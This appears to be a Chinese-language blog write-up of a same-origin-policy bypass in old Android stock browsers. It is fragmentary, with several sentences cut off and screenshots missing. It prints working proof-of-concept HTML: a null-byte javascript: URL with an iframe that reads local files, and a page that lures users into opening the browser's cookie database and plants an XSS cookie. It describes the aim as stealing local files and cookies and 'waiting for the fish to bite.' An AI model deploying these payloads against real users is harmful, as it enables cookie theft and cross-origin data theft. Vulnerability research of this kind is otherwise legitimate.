- A+
在我研究Stock浏览器的事务流程标准时发现,如果让浏览器打开新选项卡并且使用
下面的截图展示了漏洞被补后,权限被禁用,想要从菜单栏打开本地文件会发生的错误:
为了利用这个漏洞,我们模拟了以下攻击流程:
2.黑客在某页面设置返回特定头部内容,使得受害者的浏览器自行下载exploit.html
3.受害者浏览器会主动打开新选项卡,浏览exploit.html
4.exploit.html将读取本地敏感信息文件,反馈给黑客
为了给这次攻击构造一个有效的exp,我同某日本安全研究员HaruSugiyama讨论后,他给了我以下的POC:
实验中我们使用了Android2.3的模拟器,很轻松地就通过恶意文件exploit.html读取到了其他本地文件的内容,这代表该版本系统浏览器存在相应的漏洞,允许恶意网站绕过Android浏览器同源策略,进行跨域数据窃取。但是,由于Android2.3.x的使用量大约只占安卓用户的11.4%,而且正在如winxp一般慢慢地消亡,所以其危害并没有那么大,Android各版本用户使用量统计图如下:
然而Android4.1.x-4.3虽然并不能直接读取本地文件,但我们在尝试了空字节绕过的小技巧后,发现收效甚好,POC如下:
<button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">
Try \u0000
</button>
<iframe src="file:/default.prop" name="test" style='width:100%;height:200'>
</iframe>
<script>
function exploit()
{
var iframe = document.getElementsByTagName('iframe')[0];
try
{
alert("Try to read local file.");
alert("contentWindow:"+iframe.contentWindow);
alert("document:"+iframe.contentWindow.document);
alert("body:"+iframe.contentWindow.document.body);
alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);
}
catch(e)
{
alert(e);
}
}
</script>
遗憾的是,据
据我们以上研究得出的结论,想通过Android4.1.x-4.3的浏览器进行本地文件读取是不可行的,因为在这一系列版本中,本地文件不能从任意其他文件里读取内容。然而,metasploit团队的JoeVennix表示,从intentscheme入手就可以轻松地发起攻击,附上
<html>
<head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>
<body style='width:100%;font-size: 16px;'>
<a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>
Redirecting... To continue, tap and hold here, then choose "Open in a new tab"
</a>
<script>
document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';
</script>
</body>
</html>
Joe实现了一个
下面的截图让你明白如何利用该模块获取cookie:
你做完了这步,就可以泡杯咖啡,坐等鱼儿上钩了。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫